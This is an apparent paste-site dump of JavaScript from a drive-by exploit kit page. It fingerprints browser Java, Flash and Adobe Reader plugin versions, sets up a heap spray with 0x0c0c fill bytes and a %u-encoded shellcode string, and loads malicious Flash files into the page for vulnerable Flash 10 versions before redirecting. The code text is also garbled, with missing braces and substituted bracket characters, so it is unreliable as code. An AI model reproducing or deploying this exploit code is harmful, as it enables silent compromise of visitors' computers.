  789. i.pluginObj = o ? o.enabledPlugin : 0;
  790. i.mimetype = g;
  791. i.version = c
  792. ;
  793. return i
  794. , navPlugin : {
  795. $ : 1, hasRun : 0, version : "", disabled : function (){
  796. return this .$$.isDisabled.navPlugin()
  797. , query : function (){
  798. var m = this , e = m.$, c = m.$$, h = c.navigator, j, l, k, g, d, a, i, f = 0,
  799. b = (m.hasRun || m.disabled());
  800. m.hasRun = 1;
  801. if (b){
  802. return m
  803. ;
  804. a = h.pluginObj.name || "";
  805. i = h.pluginObj.description || "";
  806. if (!f || c.debug){
  807. g =/ Java. * TM. * Platform「 ^\ d」 * ( \ d + )( ?: 「 \ ., _」( \ d * )) ? (
  808. ?:\ s * 「Update」 +\ s * ( \ d * )) ?/ i;
  809. if ((g.test(a) || g.test(i)) && parseInt(RegExp.$1, 10) >= 5){
  810. f = "1," + RegExp.$1 + "," + (RegExp.$2 ? RegExp.$2 : "0") + "," + (RegExp
  811. .$3 ? RegExp.$3 : "0")
  812. if (!f || c.debug){
  813. g =/ Java「 ^\ d」 * Plug - in / i;
  814. l = g.test(i) ? e.formatNum(e.getNum(i)) : 0;
  815. k = g.test(a) ? e.formatNum(e.getNum(a)) : 0;
  816. if (l && (e.compareNums(l, e.formatNum("1,3")) < 0 || e.compareNums(l, e.
  817. formatNum("2")) >= 0)){
  818. l = 0
  819. if (k && (e.compareNums(k, e.formatNum("1,3")) < 0 || e.compareNums(k, e.
  820. formatNum("2")) >= 0)){
  821. k = 0
  822. d = l && k ? (e.compareNums(l, k) > 0 ? l : k) : (l || k);
  823. if (d){
  824. f = d
  825. if (!f && e.isSafari && e.OS == 2){
  826. j = e.findNavPlugin("Java.*\\d.*Plug-in.*Cocoa", 0);
  827. if (j){
  828. l = e.getNum(j.description);
  829. if (l){
  830. f = l
  831. ;
  832. if (f){
  833. m.version = e.formatNum(f)
  834. ;
  835. return m
  836. , lang : {
  837. $ : 1, System : {
  838. $ : 1, hasRun : 0, result : 「null, null」, disabled : function (){
  839. return this .$$.isDisabled.windowDotJava()
  840. , getPropertyHas : function (a){
  841. var b = this , d = b.$, c = b.getProperty()「0」;
  842. return (a && c && d.compareNums(d.formatNum(a), d.formatNum(c)) === 0) ? 1 :
  843. 0
  844. , getProperty : function (){
  845. var f = this , g = f.$, d = f.$$, i, h = {
  846. , b = (f.hasRun || f.disabled());
  847. f.hasRun = 1;
  848. if (!b){
  849. var a = "java_qqq990";
  850. g「a」 = null;
  851. try {
  852. var c = document.createElement("script");
  853. c.type = "text/javascript";
  854. c.appendChild(document.createTextNode(
  855. "(function(){var e;try{if (window.java && window.java.lang && window.java.lang.System){"
  856. + g.name + "." + a + '
  857. =「window.java.lang.System.getProperty("java.version")+" ",window.java.lang.System.getPrope
  858. rty("java.vendor")+" "」}}catch(e){}})();'));
  859. if (g.head.firstChild){
  860. g.head.insertBefore(c, g.head.firstChild)
  861. else {
  862. g.head.appendChild(c)
  863. g.head.removeChild(c)
  864. catch (i){
  865. if (g「a」 && g.isArray(g「a」)){
  866. f.result = 「」.concat(g「a」)
  867. return f.result
  868. , applet : {
  869. $ : 1, results : 「「null, null」, 「null, null」, 「null, null」」, getResult :
  870. function (){
  871. var c = this .results, a, b = 「」;
  872. for (a = 0; a < c.length; a ++ ){
  873. b = c「a」;
  874. if (b「0」){
  875. break
  876. return 「」.concat(b)
  877. , HTML : 「0, 0, 0」, active : 「0, 0, 0」, DummyObjTagHTML : 0, DummySpanTagHTML :
  878. 0, allowed : 「1, 1, 1」, VerifyTagsHas : function (c){
  879. var d = this , b;
  880. for (b = 0; b < d.allowed.length; b ++ ){
  881. if (d.allowed「b」 === c){
  882. return 1
  883. return 0
  884. , saveAsVerifyTagsArray : function (c){
  885. var b = this , d = b.$, a;
  886. if (d.isArray(c)){
  887. for (a = 0; a < b.allowed.length; a ++ ){
  888. if (d.isNum(c「a」)){
  889. if (c「a」 < 0){
  890. c「a」 = 0
  891. if (c「a」 > 3){
  892. c「a」 = 3
  893. b.allowed「a」 = c「a」
  894. , setVerifyTagsArray : function (d){
  895. var b = this , c = b.$, a = b.$$;
  896. if (a.getVersionDone === null){
  897. b.saveAsVerifyTagsArray(a.getVerifyTagsDefault())
  898. if (a.debug || (a.verify && a.verify.isEnabled())){
  899. b.saveAsVerifyTagsArray(「3, 3, 3」)
  900. else {
  901. if (d){
  902. b.saveAsVerifyTagsArray(d)
  903. , allDisabled : function (){
  904. return this .$$.isDisabled.allApplets()
  905. , isDisabled : function (d){
  906. var b = this , c = b.$, a = b.$$;
  907. if (d == 2 &&! c.isIE){
  908. return 1
  909. if (d === 0 || d == 2){
  910. return a.isDisabled.ObjectTag()
  911. if (d == 1){
  912. return a.isDisabled.AppletTag()
  913. , can_Insert_Query : function (b){
  914. var a = this ;
  915. if (a.HTML「b」){
  916. return 0
  917. return !a.isDisabled(b)
  918. , can_Insert_Query_Any : function (){
  919. var b = this , a;
  920. for (a = 0; a < b.results.length; a ++ ){
  921. if (b.can_Insert_Query(a)){
  922. return 1
  923. return 0
  924. , should_Insert_Query : function (d){
  925. var b = this , e = b.allowed, c = b.$, a = b.$$;
  926. if (!b.can_Insert_Query(d)){
  927. return 0
  928. if (e「d」 == 3){
  929. return 1
  930. if (e「d」 == 2.8 &&! b.getResult()「0」){
  931. return 1
  932. if (e「d」 == 2.5 &&! a.lang.System.getProperty()「0」){
  933. return 1
  934. if (e「d」 == 2.2 &&! a.lang.System.getProperty()「0」 &&! b.getResult()「0」){
  935. return 1
  936. if (!a.nonAppletDetectionOk(a.version0)){
  937. if (e「d」 == 2){
  938. return 1
  939. if (e「d」 == 1 &&! b.getResult()「0」){
  940. return 1
  941. return 0
  942. , should_Insert_Query_Any : function (){
  943. var b = this , a;
  944. for (a = 0; a < b.allowed.length; a ++ ){
  945. if (b.should_Insert_Query(a)){
  946. return 1
  947. return 0
  948. , query : function (f){
  949. var h, a = this , g = a.$, d = a.$$, i = null, j = null, b = a.results, c;
  950. if ((b「f」「0」 && b「f」「1」) || (d.debug && d.OTF < 3)){
  951. return
  952. c = g.getDOMobj(a.HTML「f」, true);
  953. if (c){
  954. try {
  955. i = g.getNum(c.getVersion() + " ");
  956. j = c.getVendor() + " ";
  957. c.statusbar(g.winLoaded ? " " : " ")
  958. catch (h){
  959. if (i && g.isStrNum(i)){
  960. b「f」 = 「i, j」
  961. else {
  962. ;
  963. try {
  964. if (g.isIE && i && c.readyState != 4){
  965. g.garbage = true;
  966. c.parentNode.removeChild(c)
  967. catch (h){
  968. , insert_Query_Any : function (){
  969. var d = this , i = d.$, e = d.$$, l = d.results, p = d.HTML, a =
  970. "    ", g = "A.class", m = i.file.getValid(e);
  971. if (!m){
  972. return d.getResult()
  973. if (e.OTF < 1){
  974. e.OTF = 1
  975. if (d.allDisabled()){
  976. return d.getResult()
  977. if (e.OTF < 1.5){
  978. e.OTF = 1.5
  979. var j = m.name + m.ext, h = m.path;
  980. var f = 「"archive", j, "code", g」, c = 「"mayscript", "true"」, o = 「
  981. "scriptable", "true"」.concat(c), n = e.navigator, b =! i.isIE && n.mimeObj &&
  982. n.mimeObj.type ? n.mimeObj.type : e.mimeType「0」;
  983. if (d.should_Insert_Query(0)){
  984. if (e.OTF < 2){
  985. e.OTF = 2
  986. ;
  987. p「0」 = i.isIE ? i.insertHTML("object", 「"type", b」, 「"codebase", h」.concat(f
  988. ).concat(o), a, e) : i.insertHTML("object", 「"type", b」, 「"codebase", h」.
  989. concat(f).concat(o), a, e);
  990. l「0」 = 「0, 0」;
  991. d.query(0)
  992. if (d.should_Insert_Query(1)){
  993. if (e.OTF < 2){
  994. e.OTF = 2
  995. ;
  996. p「1」 = i.isIE ? i.insertHTML("applet", 「"alt", a」.concat(c).concat(f), 「
  997. "codebase", h」.concat(c), a, e) : i.insertHTML("applet", 「"codebase", h,
  998. "alt", a」.concat(c).concat(f), 「」.concat(c), a, e);
  999. l「1」 = 「0, 0」;
  1000. d.query(1)
  1001. if (d.should_Insert_Query(2)){
  1002. if (e.OTF < 2){
  1003. e.OTF = 2
  1004. ;
  1005. p「2」 = i.isIE ? i.insertHTML("object", 「"classid", e.classID」, 「"codebase",
  1006. h」.concat(f).concat(o), a, e) : i.insertHTML();
  1007. l「2」 = 「0, 0」;
  1008. d.query(2)
  1009. if (!d.DummyObjTagHTML &&! e.isDisabled.ObjectTag()){
  1010. d.DummyObjTagHTML = i.insertHTML("object", 「」, 「」, a)
  1011. if (!d.DummySpanTagHTML){
  1012. d.DummySpanTagHTML = i.insertHTML("", 「」, 「」, a)
  1013. ;
  1014. var k = e.NOTF;
  1015. if (e.OTF < 3 && k.shouldContinueQuery()){
  1016. e.OTF = 3;
  1017. k.onIntervalQuery = i.handler(k.$$onIntervalQuery, k);
  1018. if (!i.winLoaded){
  1019. i.WLfuncs0.push(「k.winOnLoadQuery, k」)
  1020. setTimeout(k.onIntervalQuery, k.intervalLength)
  1021. ;
  1022. return d.getResult()
  1023. , NOTF : {
  1024. $ : 1, count : 0, countMax : 25, intervalLength : 250, shouldContinueQuery :
  1025. function (){
  1026. var e = this , d = e.$, c = e.$$, b = c.applet, a;
  1027. for (a = 0; a < b.results.length; a ++ ){
  1028. if (b.HTML「a」 &&! b.results「a」「0」 && (b.allowed「a」 >= 2 || (b.allowed「a」 ==
  1029. 1 &&! b.getResult()「0」)) && e.isAppletActive(a) >= 0){
  1030. return 1
  1031. return 0
  1032. , isJavaActive : function (d){
  1033. var f = this , c = f.$$, a, b, e =- 9;
  1034. for (a = 0; a < c.applet.HTML.length; a ++ ){
  1035. b = f.isAppletActive(a, d);
  1036. if (b > e){
  1037. e = b
  1038. return e
  1039. , isAppletActive : function (c, a){
  1040. var d = this , b = d.$$.applet.active;
  1041. if (!a){
  1042. b「c」 = d.isAppletActive_(c)
  1043. return b「c」
  1044. , isAppletActive_ : function (d){
  1045. var g = this , f = g.$, b = g.$$, l = b.navigator, a = b.applet, h = a.HTML「d」
  1046. , i, k, c = 0, j = f.getTagStatus(h, a.DummySpanTagHTML, a.DummyObjTagHTML, g.
  1047. count);
  1048. if (j ==- 2){
  1049. return - 2
  1050. try {
  1051. if (f.isIE && f.verIE >= b.minIEver && f.getDOMobj(h).object){
  1052. return 1
  1053. catch (i){
  1054. for (k = 0; k < a.active.length; k ++ ){
  1055. if (a.active「k」 > 0){
  1056. c = 1
  1057. if (j == 1 && (f.isIE || ((b.version0 && l.javaEnabled() && l.mimeObj && (h.
  1058. tagName == "object" || c)) || b.lang.System.getProperty()「0」))){
  1059. return 1
  1060. if (j < 0){
  1061. return - 1
  1062. return 0
  1063. , winOnLoadQuery : function (c, d){
  1064. var b = d.$$, a;
  1065. if (b.OTF == 3){
  1066. a = d.queryAllApplets();
  1067. d.queryCompleted(a「1」, a「2」)
  1068. , $$onIntervalQuery : function (d){
  1069. var c = d.$, b = d.$$, a;
  1070. if (b.OTF == 3){
  1071. a = d.queryAllApplets();
  1072. if (!d.shouldContinueQuery() || (c.winLoaded && d.count > d.countMax)){
  1073. d.queryCompleted(a「1」, a「2」)
  1074. d.count++;
  1075. if (b.OTF == 3){
  1076. setTimeout(d.onIntervalQuery, d.intervalLength)
  1077. , queryAllApplets : function (){
  1078. var g = this , f = g.$, e = g.$$, d = e.applet, b, a, c;
  1079. for (b = 0; b < d.results.length; b ++ ){
  1080. d.query(b)
  1081. a = d.getResult();
  1082. c = a「0」 ? true : false;
  1083. return 「c, a「0」, a「1」」
  1084. , queryCompleted : function (c, f){
  1085. var e = this , d = e.$, b = e.$$;
  1086. if (b.OTF >= 4){
  1087. return
  1088. b.OTF = 4;
  1089. var a = e.isJavaActive();
  1090. b.setPluginStatus(c, f, 0);
  1091. if (b.funcs){
  1092. d.callArray(b.funcs)
  1093. if (d.onDoneEmptyDiv){
  1094. d.onDoneEmptyDiv()
  1095. , zz : 0
  1096. , flash : {
  1097. mimeType : "application/x-shockwave-flash", progID :
  1098. "ShockwaveFlash.ShockwaveFlash", classID :
  1099. "clsid:D27CDB6E-AE6D-11CF-96B8-444553540000", getVersion : function (){
  1100. var b = function (i){
  1101. if (!i){
  1102. return null
  1103. var e =/ 「 \ d」「 \ d \,\ . \ s」 * 「rRdD」{
  1104. 0, 1
  1105. 「 \ d \, 」 */ .exec(i);
  1106. return e ? e「0」.replace(/「rRdD\.」/g, ",").replace(/\s/g, "") : null
  1107. ;
  1108. var j = this , g = j.$, k, h, l = null, c = null, a = null, f, m, d;
  1109. if (!g.isIE){
  1110. m = g.hasMimeType(j.mimeType);
  1111. if (m){
  1112. f = g.getDOMobj(g.insertHTML("object", 「"type", j.mimeType」, 「」, "", j));
  1113. try {
  1114. l = g.getNum(f.GetVariable("$version"))
  1115. catch (k){
  1116. if (!l){
  1117. d = m ? m.enabledPlugin : null;
  1118. if (d && d.description){
  1119. l = b(d.description)
  1120. if (l){
  1121. l = g.getPluginFileVersion(d, l)
  1122. else {
  1123. for (h = 15; h > 2; h -- ){
  1124. c = g.getAXO(j.progID + "." + h);
  1125. if (c){
  1126. a = h.toString();
  1127. break
  1128. if (!c){
  1129. c = g.getAXO(j.progID)
  1130. if (a == "6"){
  1131. try {
  1132. c.AllowScriptAccess = "always"
  1133. catch (k){
  1134. return "6,0,21,0"
  1135. try {
  1136. l = b(c.GetVariable("$version"))
  1137. catch (k){
  1138. if (!l && a){
  1139. l = a
  1140. j.installed = l ? 1 :- 1;
  1141. j.version = g.formatNum(l);
  1142. return true
  1143. , adobereader : {
  1144. mimeType : "application/pdf", navPluginObj : null, progID : 「"AcroPDF.PDF",
  1145. "PDF.PdfCtrl"」, classID : "clsid:CA8A9780-280D-11CF-A24D-444553540000", INSTALLED :
  1146. , pluginHasMimeType : function (d, c, f){
  1147. var b = this , e = b.$, a;
  1148. for (ain d){
  1149. if (d「a」 && d「a」.type && d「a」.type == c){
  1150. return 1
  1151. if (e.getMimeEnabledPlugin(c, f)){
  1152. return 1
  1153. return 0
  1154. , getVersion : function (l, j){
  1155. var g = this , d = g.$, i, f, m, n, b = null, h = null, k = g.mimeType, a, c;
  1156. if (d.isString(j)){
  1157. j = j.replace(/\s/g, "");
  1158. if (j){
  1159. k = j
  1160. else {
  1161. j = null
  1162. if (d.isDefined(g.INSTALLED「k」)){
  1163. g.installed = g.INSTALLED「k」;
  1164. return
  1165. if (!d.isIE){
  1166. a = "Adobe.*PDF.*Plug-?in|Adobe.*Acrobat.*Plug-?in|Adobe.*Reader.*Plug-?in";
  1167. if (g.getVersionDone !== 0){
  1168. g.getVersionDone = 0;
  1169. b = d.getMimeEnabledPlugin(g.mimeType, a);
  1170. if (!j){
  1171. n = b
  1172. if (!b && d.hasMimeType(g.mimeType)){
  1173. b = d.findNavPlugin(a, 0)
  1174. if (b){
  1175. g.navPluginObj = b;
  1176. h = d.getNum(b.description) || d.getNum(b.name);
  1177. h = d.getPluginFileVersion(b, h);
  1178. if (!h && d.OS == 1){
  1179. if (g.pluginHasMimeType(b, "application/vnd.adobe.pdfxml", a)){
  1180. h = "9"
  1181. else {
  1182. if (g.pluginHasMimeType(b, "application/vnd.adobe.x-mars", a)){
  1183. h = "8"
  1184. else {
  1185. h = g.version
  1186. if (!d.isDefined(n)){
  1187. n = d.getMimeEnabledPlugin(k, a)
  1188. g.installed = n && h ? 1 : (n ? 0 : (g.navPluginObj ?- 0.2 :- 1))
  1189. else {
  1190. b = d.getAXO(g.progID「0」) || d.getAXO(g.progID「1」);
  1191. c =/=\ s * (「 \ d \ .」 + ) / g;
  1192. try {
  1193. f = (b || d.getDOMobj(d.insertHTML("object", 「"classid", g.classID」, 「"src",
  1194. ""」, "", g))).GetVersions();
  1195. for (m = 0; m < 5; m ++ ){
  1196. if (c.test(f) && (!h || RegExp.$1 > h)){
  1197. h = RegExp.$1
  1198. catch (i){
  1199. g.installed = h ? 1 : (b ? 0 :- 1)
  1200. if (!g.version){
  1201. g.version = d.formatNum(h)
  1202. g.INSTALLED「k」 = g.installed
  1203. , zz : 0
  1204. ;
  1205. PluginDetect.initScript();
  1206. PluginDetect.getVersion(".");
  1207. pdfver = PluginDetect.getVersion("AdobeReader");
  1208. flashver = PluginDetect.getVersion('Flash');
  1209. javaver = PluginDetect.getVersion('Java', 'getJavaInfo.jar');
  1210. catch (e){
  1211. if (typeof pdfver == 'string'){
  1212. pdfver = pdfver.split('.')
  1213. else {
  1214. pdfver = 「0, 0, 0, 0」
  1215. if (typeof flashver == 'string'){
  1216. flashver = flashver.split('.')
  1217. else {
  1218. flashver = 「0, 0, 0, 0」
  1219. if (typeof javaver == 'string'){
  1220. javaver = javaver.split('.')
  1221. else {
  1222. javaver = 「0, 0, 0, 0」
  1223. function spl0(){
  1224. spl2()
  1225. function spl2(){
  1226. spl3()
  1227. function spl3(){
  1228. spl4()
  1229. function spl4(){
  1230. setTimeout(spl5, 1000)
  1231. function getCN(){
  1232. return 'data/score.swf'
  1233. function getBlockSize(){
  1234. return 1024
  1235. function getAllocSize(){
  1236. return 1024 * 1024
  1237. function getAllocCount(){
  1238. return 300
  1239. function getFillBytes(){
  1240. var a = '%u' + '0c0c';
  1241. return a + a;
  1242. function getShellCode(){
  1243. if (1){
  1244. return "
  1245. %u4141%u4141%u8366%ufce4%uebfc%u5810%uc931%u8166%u56e9%u80fe%u2830%ue240%uebfa%ue805%uffeb
  1246. %uffff%uccad%u1c5d%u77c1%ue81b%ua34c%u1868%u68a3%ua324%u3458%ua37e%u205e%uf31b%ua34e%u1476
  1247. %u5c2b%u041b%uc6a9%u383d%ud7d7%ua390%u1868%u6eeb%u2e11%ud35d%u1caf%uad0c%u5dcc%uc179%u64c3
  1248. %u7e79%u5da3%ua314%u1d5c%u2b50%u7edd%u5ea3%u2b08%u1bdd%u61e1%ud469%u2b85%u1bed%u27f3%u3896
  1249. %uda10%u205c%ue3e9%u2b25%u68f2%ud9c3%u3713%uce5d%ua376%u0c76%uf52b%ua34e%u6324%u6ea5%ud7c4
  1250. %u0c7c%ua324%u2bf0%ua3f5%ua32c%ued2b%u7683%ueb71%u7bc3%ua385%u0840%u55a8%u1b24%u2b5c%uc3be
  1251. %ua3db%u2040%udfa3%u2d42%uc071%ud7b0%ud7d7%ud1ca%u28c0%u2828%u7028%u4278%u4068%u28d7%u2828
  1252. %uab78%u31e8%u7d78%uc4a3%u76a3%uab38%u2deb%ucbd7%u4740%u2846%u4028%u5a5d%u4544%ud77c%uab3e
  1253. %u20ec%uc0a3%u49c0%ud7d7%uc3d7%uc32a%ua95a%u2cc4%u2829%ua528%u0c74%uef24%u0c2c%u4d5a%u5b4f
  1254. %u6cef%u2c0c%u5a5e%u1a1b%u6cef%u200c%u0508%u085b%u407b%u28d0%u2828%u7ed7%ua324%u1bc0%u79e1
  1255. %u6cef%u2835%u585f%u5c4a%u6cef%u2d35%u4c06%u4444%u6cee%u2135%u7128%ue9a2%u182c%u6ca0%u2c35
  1256. %u7969%u2842%u2842%u7f7b%u2842%u7ed7%uad3c%u5de8%u423e%u7b28%u7ed7%u422c%uab28%u24c3%ud77b
  1257. %u2c7e%uebab%uc324%uc32a%u6f3b%u17a8%u5d28%u6fd2%u17a8%u5d28%u42ec%u4228%ud7d6%u207e%ub4c0
  1258. %ud7d6%ua6d7%u2666%ub0c4%ua2d6%ua126%u2947%u1b95%ua2e2%u3373%u6eee%u1e51%u0732%u4058%u5c5c
  1259. %u1258%u0707%u474a%u4d4c%u5b05%u4449%u5b4d%u4606%u5c4d%u5f07%u5806%u5840%u4e17%u1d15%u4b1e
  1260. %u491f%u4d0e%u1915%u2828";
  1261. function spl5(){
  1262. var ver1 = flashver「0」;
  1263. var ver2 = flashver「1」;
  1264. var ver3 = flashver「2」;
  1265. if (((ver1 == 10 && ver2 == 0 && ver3 > 40) || ((ver1 == 10 && ver2 > 0) && (ver1 == 10
  1266. && ver2 < 2))) || ((ver1 == 10 && ver2 == 2 && ver3 < 159) || (ver1 == (11 - 1) && ver2
  1267. < 2))){
  1268. var fname = "data/field";
  1269. var Flash_obj = "
  1270. <object classid='clsid:d27cdb6e-ae6d-11cf-96b8-444553540000' width=10 height=10 id='swf_id
  1271. '>";
  1272. Flash_obj += "<param name='movie' value='" + fname + ".swf' />";
  1273. al = "always";
  1274. Flash_obj += "<param name=\"allowScriptAccess\" value='" + al + "' />";
  1275. Flash_obj += "<param name='Play' value='0' />";
  1276. Flash_obj += "<embed src='" + fname + ".swf' id='swf_id' name='swf_id'";
  1277. Flash_obj += "allowScriptAccess='" + al + "'";
  1278. Flash_obj += "type='application/x-shockwave-flash'";
  1279. Flash_obj += "width='10' height='10'>";
  1280. Flash_obj += "</embed>";
  1281. Flash_obj += "</object>";
  1282. var oSpan = document.createElement("span");
  1283. document.body.appendChild(oSpan);
  1284. oSpan.innerHTML = Flash_obj;
  1285. spl6();
  1286. function spl6(){
  1287. var ver1 = flashver「0」;
  1288. var ver2 = flashver「1」;
  1289. var ver3 = flashver「2」;
  1290. var ver4 = flashver「3」;
  1291. if ((ver1 == 10 && ver2 == 3 && ver3 == 181 && ver4 <= 23) || (ver1 == 10 && ver2 == 3 &&
  1292. ver3 < 181)){
  1293. var fname = "data/flash";
  1294. var Flash_obj = "
  1295. <object classid='clsid:D27CDB6E-AE6D-11cf-96B8-444553540000' id='asd' width='600' height='
  1296. 400' codebase='h00p://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab'>";
  1297. Flash_obj += "<param name='movie' value='" + fname + "
  1298. .swf?info=02e6b1525353caa8ad35b03533af5734b63357acb13157abb537b6b6a951b252ca35c94f4f314c35
  1299. 7e7a73a57745' />";
  1300. Flash_obj += "<embed src='" + fname + "
  1301. .swf?info=02e6b1525353caa8ad35b03533af5734b63357acb13157abb537b6b6a951b252ca35c94f4f314c35
  1302. 7e7a73a57745' name='asd' align='middle' allowNetworking='all' type='application/x-shockwav
  1303. e-flash' pluginspage='h00p://www.macromedia.com/go/getflashplayer'>";
  1304. Flash_obj += "</embed>";
  1305. Flash_obj += "</object>";
  1306. var oSpan = document.createElement("span");
  1307. document.body.appendChild(oSpan);
  1308. oSpan.innerHTML = Flash_obj;
  1309. spl7();
  1310. function spl7(){
  1311. setTimeout(end_redirect, 8000);
  1312. spl0();
Advertisement
RAW Paste Data Copied
Advertisement